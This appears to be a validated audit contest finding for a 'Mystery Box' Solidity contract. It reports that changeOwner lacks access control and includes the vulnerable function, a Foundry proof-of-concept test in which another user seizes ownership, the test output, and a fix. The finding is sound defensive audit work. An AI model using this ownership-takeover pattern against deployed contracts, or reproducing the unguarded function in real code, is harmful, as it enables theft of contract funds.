Mystery Box
First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Everybody can change the owner of the contract

vasquez

Summary

The MysteryBox::changeOwner function lacks access control, allowing any user to claim ownership of the contract. This vulnerability gives unauthorized users full control over the protocol’s funds and settings.

Vulnerability Details

The vulnerability exists in the MysteryBox::changeOwner function:
https://github.com/Cyfrin/2024-09-mystery-box/blob/281a3e35761a171ba134e574473565a1afb56b68/src/MysteryBox.sol#L111-L113

function changeOwner(address _newOwner) public {
owner = _newOwner;
}

This function can be called by anyone, making it possible for any address to become the owner of the contract. As a result, the attacker gains full control over the funds in the protocol, as well as all functions restricted to the owner.

POC

To run the tests successfuly we need a little adjustment in the setUp function:
To demonstrate this vulnerability, modify the setUp function in TestMysteryBox.t.sol to deal ETH to the owner and send the needed 0.1 ether during contract creation:

function setUp() public {
owner = makeAddr("owner");
user1 = address(0x1);
user2 = address(0x2);
​
+ vm.deal(owner, 1 ether);
vm.prank(owner);
- mysteryBox = new MysteryBox();
+ mysteryBox = new MysteryBox{value: 0.1 ether}();
console.log("Reward Pool Length:", mysteryBox.getRewardPool().length);
}

Next, add the following test to verify that any user can become the owner by calling changeOwner:

function testEverybodyCanBecomeAnOwner() public {
console.log("Owner address before the exploit: ", mysteryBox.owner());
vm.prank(user1);
mysteryBox.changeOwner(address(user1));
console.log("Owner address after the exploit: ", mysteryBox.owner());
}

Running the test with the following command:

forge test --mt testEverybodyCanBecomeAnOwner -vvv

Produces these results:

Ran 1 test for test/TestMysteryBox.t.sol:MysteryBoxTest
[PASS] testEverybodyCanBecomeAnOwner() (gas: 21801)
Logs:
Reward Pool Length: 4
Owner address before the exploit: 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266
Owner address after the exploit: 0x0000000000000000000000000000000000000001

The test demonstrates that user1 can successfully change ownership of the contract, highlighting the critical nature of this vulnerability.

Impact

By exploiting the changeOwner vulnerability, an attacker can:

  1. Steal all funds : Call the MysteryBox::withdrawFunds function and transfer the contract balance to their own address.

  2. Set arbitrary box prices: Call the MysteryBox::setBoxPrice function and adjust the price of boxes to any value.

This represents a critical vulnerability due to the complete control granted to the attacker, impacting both financial and operational aspects of the contract.

Tools Used

Manual Review

Recommendations

Add an access control in the MysteryBox::changeOwner function:
function changeOwner(address _newOwner) public {
+ require(msg.sender == owner, "Only owner can set the new owner");
owner = _newOwner;
}

OR

Use OpenZeppelin's Ownable.sol

Instead of implementing custom ownership logic, consider the OpenZeppelin's Ownable.sol. This contract includes built-in ownership transfer functionality and access control, reducing the risk of introducing security vulnerabilities.

Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Anyone can change owner

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!